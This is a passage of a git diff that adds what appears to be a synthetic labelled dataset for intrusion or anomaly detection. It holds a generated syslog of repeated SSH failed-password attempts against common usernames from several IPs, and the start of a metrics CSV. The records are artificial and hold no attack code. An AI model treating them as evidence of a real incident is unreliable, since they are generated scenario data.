CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:02:01 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 21355 ssh2 +Aug 26 14:02:00 server sshd[2233]: Failed password for administrator from 172.16.23.10 port 50746 ssh2 +Aug 26 14:02:01 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 19146 ssh2 +Aug 26 14:02:00 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 21627 ssh2 +Aug 26 14:02:00 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 12479 ssh2 +Aug 26 14:02:01 server sshd[2233]: Failed password for guest from 10.0.5.119 port 54355 ssh2 +Aug 26 14:02:00 server sshd[2233]: Failed password for admin from 172.16.23.10 port 46605 ssh2 +Aug 26 14:02:06 server sshd[2233]: Failed password for administrator from 10.0.5.119 port 25218 ssh2 +Aug 26 14:02:06 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 42153 ssh2 +Aug 26 14:02:05 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 38304 ssh2 +Aug 26 14:02:06 server sshd[2233]: Failed password for ec2-user from 172.16.23.10 port 35548 ssh2 +Aug 26 14:02:06 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 15188 ssh2 +Aug 26 14:02:05 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 56921 ssh2 +Aug 26 14:02:05 server sshd[2233]: Failed password for user from 203.0.113.12 port 60056 ssh2 +Aug 26 14:02:06 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 13454 ssh2 +Aug 26 14:02:06 server sshd[2233]: Failed password for test from 172.16.23.10 port 42323 ssh2 +Aug 26 14:02:11 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 50921 ssh2 +Aug 26 14:02:10 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 26122 ssh2 +Aug 26 14:02:10 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 60684 ssh2 +Aug 26 14:02:11 server sshd[2233]: Failed password for root from 198.51.100.55 port 29734 ssh2 +Aug 26 14:02:10 server sshd[2233]: Failed password for support from 10.0.5.119 port 11058 ssh2 +Aug 26 14:02:10 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 32727 ssh2 +Aug 26 14:02:16 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 34458 ssh2 +Aug 26 14:02:15 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 65190 ssh2 +Aug 26 14:02:16 server sshd[2233]: Failed password for admin from 10.0.5.119 port 24462 ssh2 +Aug 26 14:02:16 server sshd[2233]: Failed password for admin from 10.0.5.119 port 34895 ssh2 +Aug 26 14:02:15 server sshd[2233]: Failed password for test from 198.51.100.55 port 27359 ssh2 +Aug 26 14:02:16 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 25300 ssh2 +Aug 26 14:02:15 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 44163 ssh2 +Aug 26 14:02:16 server sshd[2233]: Failed password for guest from 172.16.23.10 port 14278 ssh2 +Aug 26 14:02:16 server sshd[2233]: Failed password for test from 198.51.100.55 port 10126 ssh2 +Aug 26 14:02:20 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 38197 ssh2 +Aug 26 14:02:21 server sshd[2233]: Failed password for ec2-user from 172.16.23.10 port 51368 ssh2 +Aug 26 14:02:21 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 11752 ssh2 +Aug 26 14:02:21 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 32107 ssh2 +Aug 26 14:02:21 server sshd[2233]: Failed password for administrator from 172.16.23.10 port 20284 ssh2 +Aug 26 14:02:21 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 13111 ssh2 +Aug 26 14:02:20 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 23932 ssh2 +Aug 26 14:02:26 server sshd[2233]: Failed password for user from 203.0.113.12 port 65324 ssh2 +Aug 26 14:02:25 server sshd[2233]: Failed password for root from 10.0.5.119 port 50041 ssh2 +Aug 26 14:02:26 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 47364 ssh2 +Aug 26 14:02:26 server sshd[2233]: Failed password for test from 203.0.113.12 port 13501 ssh2 +Aug 26 14:02:25 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 13205 ssh2 +Aug 26 14:02:30 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 30134 ssh2 +Aug 26 14:02:31 server sshd[2233]: Failed password for guest from 198.51.100.55 port 58664 ssh2 +Aug 26 14:02:31 server sshd[2233]: Failed password for user from 198.51.100.55 port 53657 ssh2 +Aug 26 14:02:31 server sshd[2233]: Failed password for guest from 203.0.113.12 port 26974 ssh2 +Aug 26 14:02:30 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 38295 ssh2 +Aug 26 14:02:30 server sshd[2233]: Failed password for test from 203.0.113.12 port 14352 ssh2 +Aug 26 14:02:30 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 64765 ssh2 +Aug 26 14:02:33 server web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 26 14:02:36 server sshd[2233]: Failed password for test from 198.51.100.55 port 53229 ssh2 +Aug 26 14:02:36 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 37318 ssh2 +Aug 26 14:02:35 server sshd[2233]: Failed password for administrator from 10.0.5.119 port 47279 ssh2 +Aug 26 14:02:36 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 59369 ssh2 +Aug 26 14:02:36 server sshd[2233]: Failed password for guest from 203.0.113.12 port 35612 ssh2 +Aug 26 14:02:35 server sshd[2233]: Failed password for administrator from 203.0.113.12 port 61487 ssh2 +Aug 26 14:02:35 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 24543 ssh2 +Aug 26 14:02:36 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 24874 ssh2 +Aug 26 14:02:40 server sshd[2233]: Failed password for user from 203.0.113.12 port 59043 ssh2 +Aug 26 14:02:40 server sshd[2233]: Failed password for ec2-user from 10.0.5.119 port 56136 ssh2 +Aug 26 14:02:41 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 52333 ssh2 +Aug 26 14:02:40 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 52256 ssh2 +Aug 26 14:02:41 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 47170 ssh2 +Aug 26 14:02:40 server sshd[2233]: Failed password for root from 10.0.5.119 port 26206 ssh2 +Aug 26 14:02:42 server web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 26 14:02:45 server sshd[2233]: Failed password for guest from 203.0.113.12 port 23101 ssh2 +Aug 26 14:02:46 server sshd[2233]: Failed password for user from 198.51.100.55 port 54613 ssh2 +Aug 26 14:02:46 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 55716 ssh2 +Aug 26 14:02:45 server sshd[2233]: Failed password for administrator from 172.16.23.10 port 26292 ssh2 +Aug 26 14:02:46 server sshd[2233]: Failed password for ec2-user from 203.0.113.12 port 50338 ssh2 +Aug 26 14:02:46 server sshd[2233]: Failed password for support from 198.51.100.55 port 40417 ssh2 +Aug 26 14:02:51 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 62317 ssh2 +Aug 26 14:02:50 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 57127 ssh2 +Aug 26 14:02:51 server sshd[2233]: Failed password for ec2-user from 172.16.23.10 port 53006 ssh2 +Aug 26 14:02:50 server sshd[2233]: Failed password for support from 172.16.23.10 port 41958 ssh2 +Aug 26 14:02:51 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 47689 ssh2 +Aug 26 14:02:55 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 49706 ssh2 +Aug 26 14:02:56 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 38126 ssh2 +Aug 26 14:02:56 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 23572 ssh2 +Aug 26 14:02:55 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 37605 ssh2 +Aug 26 14:02:55 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 43687 ssh2 +Aug 26 14:02:56 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 57139 ssh2 +Aug 26 14:02:56 server sshd[2233]: Failed password for test from 10.0.5.119 port 52559 ssh2 +Aug 26 14:02:55 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 13618 ssh2 +Aug 26 14:02:55 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 21961 ssh2 +Aug 26 14:03:00 server sshd[2233]: Failed password for administrator from 203.0.113.12 port 13318 ssh2 +Aug 26 14:03:01 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 31204 ssh2 +Aug 26 14:03:01 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 20140 ssh2 +Aug 26 14:03:01 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 14135 ssh2 +Aug 26 14:03:01 server sshd[2233]: Failed password for ec2-user from 198.51.100.55 port 17550 ssh2 +Aug 26 14:03:00 server sshd[2233]: Failed password for admin from 10.0.5.119 port 59532 ssh2 +Aug 26 14:03:01 server sshd[2233]: Failed password for test from 172.16.23.10 port 51465 ssh2 +Aug 26 14:03:00 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 52391 ssh2 +Aug 26 14:03:01 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 53974 ssh2 +Aug 26 14:03:06 server sshd[2233]: Failed password for admin from 172.16.23.10 port 51893 ssh2 +Aug 26 14:03:05 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 50269 ssh2 +Aug 26 14:03:06 server sshd[2233]: Failed password for test from 198.51.100.55 port 59245 ssh2 +Aug 26 14:03:05 server sshd[2233]: Failed password for ec2-user from 198.51.100.55 port 11846 ssh2 +Aug 26 14:03:06 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 21452 ssh2 +Aug 26 14:03:10 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 10052 ssh2 +Aug 26 14:03:11 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 64245 ssh2 +Aug 26 14:03:10 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 24743 ssh2 +Aug 26 14:03:10 server sshd[2233]: Failed password for root from 198.51.100.55 port 20365 ssh2 +Aug 26 14:03:11 server sshd[2233]: Failed password for administrator from 172.16.23.10 port 60426 ssh2 +Aug 26 14:03:10 server sshd[2233]: Failed password for user from 10.0.5.119 port 16206 ssh2 +Aug 26 14:03:16 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 24598 ssh2 +Aug 26 14:03:15 server sshd[2233]: Failed password for test from 172.16.23.10 port 39607 ssh2 +Aug 26 14:03:15 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 33082 ssh2 +Aug 26 14:03:15 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 34887 ssh2 +Aug 26 14:03:15 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 19736 ssh2 +Aug 26 14:03:15 server sshd[2233]: Failed password for support from 10.0.5.119 port 15412 ssh2 +Aug 26 14:03:16 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 48406 ssh2 +Aug 26 14:03:15 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 35204 ssh2 +Aug 26 14:03:21 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 51412 ssh2 +Aug 26 14:03:20 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 37968 ssh2 +Aug 26 14:03:20 server sshd[2233]: Failed password for administrator from 203.0.113.12 port 13461 ssh2 +Aug 26 14:03:21 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 28906 ssh2 +Aug 26 14:03:20 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 25445 ssh2 +Aug 26 14:03:20 server sshd[2233]: Failed password for root from 172.16.23.10 port 63142 ssh2 +Aug 26 14:03:26 server sshd[2233]: Failed password for administrator from 203.0.113.12 port 17849 ssh2 +Aug 26 14:03:25 server sshd[2233]: Failed password for root from 198.51.100.55 port 42008 ssh2 +Aug 26 14:03:26 server sshd[2233]: Failed password for test from 172.16.23.10 port 60310 ssh2 +Aug 26 14:03:25 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 61799 ssh2 +Aug 26 14:03:25 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 37285 ssh2 +Aug 26 14:03:25 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 15176 ssh2 +Aug 26 14:03:25 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 37724 ssh2 +Aug 26 14:03:26 server sshd[2233]: Failed password for test from 10.0.5.119 port 49697 ssh2 +Aug 26 14:03:31 server sshd[2233]: Failed password for user from 172.16.23.10 port 58575 ssh2 +Aug 26 14:03:31 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 41727 ssh2 +Aug 26 14:03:31 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 17659 ssh2 +Aug 26 14:03:30 server sshd[2233]: Failed password for ec2-user from 10.0.5.119 port 14578 ssh2 +Aug 26 14:03:31 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 30553 ssh2 +Aug 26 14:03:30 server sshd[2233]: Failed password for ec2-user from 203.0.113.12 port 31759 ssh2 +Aug 26 14:03:30 server sshd[2233]: Failed password for ec2-user from 172.16.23.10 port 60712 ssh2 +Aug 26 14:03:30 server sshd[2233]: Failed password for guest from 10.0.5.119 port 46360 ssh2 +Aug 26 14:03:30 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 37332 ssh2 +Aug 26 14:03:31 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 55274 ssh2 +Aug 26 14:03:30 server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:03:36 server sshd[2233]: Failed password for guest from 203.0.113.12 port 62244 ssh2 +Aug 26 14:03:36 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 35147 ssh2 +Aug 26 14:03:36 server sshd[2233]: Failed password for guest from 10.0.5.119 port 41208 ssh2 +Aug 26 14:03:35 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 15335 ssh2 +Aug 26 14:03:35 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 55424 ssh2 +Aug 26 14:03:36 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 48349 ssh2 +Aug 26 14:03:35 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 52571 ssh2 +Aug 26 14:03:41 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 38289 ssh2 +Aug 26 14:03:41 server sshd[2233]: Failed password for admin from 198.51.100.55 port 44670 ssh2 +Aug 26 14:03:40 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 42575 ssh2 +Aug 26 14:03:41 server sshd[2233]: Failed password for root from 203.0.113.12 port 55851 ssh2 +Aug 26 14:03:40 server sshd[2233]: Failed password for admin from 10.0.5.119 port 61363 ssh2 +Aug 26 14:03:40 server sshd[2233]: Failed password for admin from 198.51.100.55 port 13818 ssh2 +Aug 26 14:03:40 server sshd[2233]: Failed password for admin from 10.0.5.119 port 54159 ssh2 +Aug 26 14:03:41 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 62369 ssh2 +Aug 26 14:03:40 server sshd[2233]: Failed password for ec2-user from 203.0.113.12 port 34498 ssh2 +Aug 26 14:03:41 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 61569 ssh2 +Aug 26 14:03:41 server web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 26 14:03:45 server sshd[2233]: Failed password for root from 10.0.5.119 port 59523 ssh2 +Aug 26 14:03:46 server sshd[2233]: Failed password for ec2-user from 10.0.5.119 port 44704 ssh2 +Aug 26 14:03:45 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 50340 ssh2 +Aug 26 14:03:45 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 24562 ssh2 +Aug 26 14:03:45 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 45429 ssh2 +Aug 26 14:03:45 server sshd[2233]: Failed password for test from 172.16.23.10 port 21446 ssh2 +Aug 26 14:03:46 server sshd[2233]: Failed password for guest from 198.51.100.55 port 16298 ssh2 +Aug 26 14:03:51 server sshd[2233]: Failed password for administrator from 172.16.23.10 port 40223 ssh2 +Aug 26 14:03:50 server sshd[2233]: Failed password for user from 198.51.100.55 port 60540 ssh2 +Aug 26 14:03:51 server sshd[2233]: Failed password for user from 172.16.23.10 port 56187 ssh2 +Aug 26 14:03:50 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 35478 ssh2 +Aug 26 14:03:51 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 54097 ssh2 +Aug 26 14:03:50 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 54756 ssh2 +Aug 26 14:03:50 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 48605 ssh2 +Aug 26 14:03:50 server sshd[2233]: Failed password for guest from 198.51.100.55 port 28665 ssh2 +Aug 26 14:03:51 server sshd[2233]: Failed password for user from 198.51.100.55 port 65095 ssh2 +Aug 26 14:03:56 server sshd[2233]: Failed password for root from 203.0.113.12 port 64729 ssh2 +Aug 26 14:03:56 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 29987 ssh2 +Aug 26 14:03:56 server sshd[2233]: Failed password for support from 172.16.23.10 port 34724 ssh2 +Aug 26 14:03:55 server sshd[2233]: Failed password for admin from 10.0.5.119 port 61794 ssh2 +Aug 26 14:03:56 server sshd[2233]: Failed password for administrator from 172.16.23.10 port 20862 ssh2 +Aug 26 14:03:55 server sshd[2233]: Failed password for support from 172.16.23.10 port 32184 ssh2 +Aug 26 14:03:56 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 14935 ssh2 +Aug 26 14:03:55 server sshd[2233]: Failed password for admin from 172.16.23.10 port 22547 ssh2 +Aug 26 14:03:55 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 12736 ssh2 +Aug 26 14:03:56 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 39660 ssh2 +Aug 26 14:03:58 server web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 26 14:04:00 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 22279 ssh2 +Aug 26 14:04:00 server sshd[2233]: Failed password for guest from 172.16.23.10 port 64729 ssh2 +Aug 26 14:04:00 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 49996 ssh2 +Aug 26 14:04:00 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 31989 ssh2 +Aug 26 14:04:00 server sshd[2233]: Failed password for support from 10.0.5.119 port 55241 ssh2 +Aug 26 14:04:00 server systemd[1]: Starting daily clean up activities... +Aug 26 14:04:05 server sshd[2233]: Failed password for ec2-user from 10.0.5.119 port 48358 ssh2 +Aug 26 14:04:05 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 28131 ssh2 +Aug 26 14:04:06 server sshd[2233]: Failed password for admin from 203.0.113.12 port 24435 ssh2 +Aug 26 14:04:05 server sshd[2233]: Failed password for support from 172.16.23.10 port 55357 ssh2 +Aug 26 14:04:06 server sshd[2233]: Failed password for user from 198.51.100.55 port 43971 ssh2 +Aug 26 14:04:06 server sshd[2233]: Failed password for admin from 10.0.5.119 port 34931 ssh2 +Aug 26 14:04:05 server sshd[2233]: Failed password for admin from 10.0.5.119 port 44255 ssh2 +Aug 26 14:04:11 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 49469 ssh2 +Aug 26 14:04:10 server sshd[2233]: Failed password for administrator from 203.0.113.12 port 64954 ssh2 +Aug 26 14:04:11 server sshd[2233]: Failed password for test from 10.0.5.119 port 56821 ssh2 +Aug 26 14:04:10 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 53039 ssh2 +Aug 26 14:04:10 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 61359 ssh2 +Aug 26 14:04:11 server sshd[2233]: Failed password for user from 198.51.100.55 port 36721 ssh2 +Aug 26 14:04:10 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 23173 ssh2 +Aug 26 14:04:10 server sshd[2233]: Failed password for support from 198.51.100.55 port 40115 ssh2 +Aug 26 14:04:11 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 37479 ssh2 +Aug 26 14:04:11 server sshd[2233]: Failed password for root from 203.0.113.12 port 13316 ssh2 +Aug 26 14:04:13 server web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 26 14:04:15 server sshd[2233]: Failed password for root from 203.0.113.12 port 23590 ssh2 +Aug 26 14:04:15 server sshd[2233]: Failed password for ec2-user from 203.0.113.12 port 44843 ssh2 +Aug 26 14:04:16 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 41967 ssh2 +Aug 26 14:04:15 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 19171 ssh2 +Aug 26 14:04:15 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 27745 ssh2 +Aug 26 14:04:16 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 61843 ssh2 +Aug 26 14:04:16 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 21319 ssh2 +Aug 26 14:04:15 server sshd[2233]: Failed password for user from 172.16.23.10 port 48736 ssh2 +Aug 26 14:04:16 server sshd[2233]: Failed password for support from 198.51.100.55 port 48814 ssh2 +Aug 26 14:04:16 server sshd[2233]: Failed password for root from 198.51.100.55 port 45471 ssh2 +Aug 26 14:04:20 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 39427 ssh2 +Aug 26 14:04:20 server sshd[2233]: Failed password for root from 10.0.5.119 port 63404 ssh2 +Aug 26 14:04:21 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 50814 ssh2 +Aug 26 14:04:21 server sshd[2233]: Failed password for guest from 10.0.5.119 port 37506 ssh2 +Aug 26 14:04:20 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 22997 ssh2 +Aug 26 14:04:21 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 32859 ssh2 +Aug 26 14:04:20 server sshd[2233]: Failed password for administrator from 10.0.5.119 port 47519 ssh2 +Aug 26 14:04:26 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 26442 ssh2 +Aug 26 14:04:26 server sshd[2233]: Failed password for test from 198.51.100.55 port 12249 ssh2 +Aug 26 14:04:25 server sshd[2233]: Failed password for support from 10.0.5.119 port 47101 ssh2 +Aug 26 14:04:26 server sshd[2233]: Failed password for guest from 172.16.23.10 port 34953 ssh2 +Aug 26 14:04:25 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 18904 ssh2 +Aug 26 14:04:25 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 58842 ssh2 +Aug 26 14:04:31 server sshd[2233]: Failed password for root from 203.0.113.12 port 16303 ssh2 +Aug 26 14:04:30 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 64293 ssh2 +Aug 26 14:04:31 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 18293 ssh2 +Aug 26 14:04:31 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 47150 ssh2 +Aug 26 14:04:30 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 37768 ssh2 +Aug 26 14:04:30 server sshd[2233]: Failed password for test from 10.0.5.119 port 47662 ssh2 +Aug 26 14:04:31 server sshd[2233]: Failed password for test from 172.16.23.10 port 22691 ssh2 +Aug 26 14:04:30 server sshd[2233]: Failed password for test from 172.16.23.10 port 15775 ssh2 +Aug 26 14:04:31 server sshd[2233]: Failed password for user from 172.16.23.10 port 54599 ssh2 +Aug 26 14:04:36 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 58239 ssh2 +Aug 26 14:04:35 server sshd[2233]: Failed password for support from 10.0.5.119 port 16911 ssh2 +Aug 26 14:04:36 server sshd[2233]: Failed password for guest from 203.0.113.12 port 40555 ssh2 +Aug 26 14:04:35 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 33492 ssh2 +Aug 26 14:04:35 server sshd[2233]: Failed password for administrator from 10.0.5.119 port 42858 ssh2 +Aug 26 14:04:35 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 43950 ssh2 +Aug 26 14:04:36 server sshd[2233]: Failed password for guest from 172.16.23.10 port 40118 ssh2 +Aug 26 14:04:35 server sshd[2233]: Failed password for guest from 203.0.113.12 port 53405 ssh2 +Aug 26 14:04:35 server sshd[2233]: Failed password for admin from 203.0.113.12 port 53868 ssh2 +Aug 26 14:04:35 server sshd[2233]: Failed password for guest from 198.51.100.55 port 16211 ssh2 +Aug 26 14:04:41 server sshd[2233]: Failed password for ec2-user from 203.0.113.12 port 12827 ssh2 +Aug 26 14:04:40 server sshd[2233]: Failed password for guest from 172.16.23.10 port 59342 ssh2 +Aug 26 14:04:41 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 26744 ssh2 +Aug 26 14:04:40 server sshd[2233]: Failed password for support from 198.51.100.55 port 21299 ssh2 +Aug 26 14:04:40 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 50056 ssh2 +Aug 26 14:04:40 server sshd[2233]: Failed password for guest from 172.16.23.10 port 62712 ssh2 +Aug 26 14:04:45 server sshd[2233]: Failed password for ec2-user from 203.0.113.12 port 59642 ssh2 +Aug 26 14:04:45 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 37489 ssh2 +Aug 26 14:04:46 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 24352 ssh2 +Aug 26 14:04:45 server sshd[2233]: Failed password for admin from 198.51.100.55 port 29187 ssh2 +Aug 26 14:04:45 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 30853 ssh2 +Aug 26 14:04:45 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 14422 ssh2 +Aug 26 14:04:45 server sshd[2233]: Failed password for admin from 203.0.113.12 port 44335 ssh2 +Aug 26 14:04:46 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 49075 ssh2 +Aug 26 14:04:46 server sshd[2233]: Failed password for test from 172.16.23.10 port 63767 ssh2 +Aug 26 14:04:50 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 50631 ssh2 +Aug 26 14:04:50 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 51009 ssh2 +Aug 26 14:04:51 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 42938 ssh2 +Aug 26 14:04:50 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 49074 ssh2 +Aug 26 14:04:51 server sshd[2233]: Failed password for user from 198.51.100.55 port 34957 ssh2 +Aug 26 14:04:51 server sshd[2234]: Failed password for invalid user webmaster from 203.0.113.12 port 24064 ssh2 +Aug 26 14:04:50 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 16631 ssh2 +Aug 26 14:04:56 server sshd[2233]: Failed password for root from 172.16.23.10 port 20722 ssh2 +Aug 26 14:04:55 server sshd[2233]: Failed password for test from 198.51.100.55 port 64330 ssh2 +Aug 26 14:04:55 server sshd[2234]: Failed password for invalid user webmaster from 172.16.23.10 port 10559 ssh2 +Aug 26 14:04:56 server sshd[2233]: Failed password for root from 172.16.23.10 port 42472 ssh2 +Aug 26 14:04:55 server sshd[2234]: Failed password for invalid user webmaster from 10.0.5.119 port 46458 ssh2 +Aug 26 14:04:56 server sshd[2233]: Failed password for test from 198.51.100.55 port 35490 ssh2 +Aug 26 14:04:55 server sshd[2234]: Failed password for invalid user webmaster from 198.51.100.55 port 34415 ssh2 +Aug 26 14:05:22 server web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 26 14:05:30 server systemd[1]: Starting daily clean up activities... +Aug 26 14:05:47 server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:06:12 server web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 26 14:06:51 server systemd[1]: Starting daily clean up activities... +Aug 26 14:07:05 server web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 26 14:07:28 server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/mali_dataset/scenario_7/mali_7_19.csv b/mali_dataset/scenario_7/mali_7_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..27c05b826097c872e2bac8db5e60f82e46068b15 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T10:00:00Z,15.73,38.75,18.45,1.21,0.67 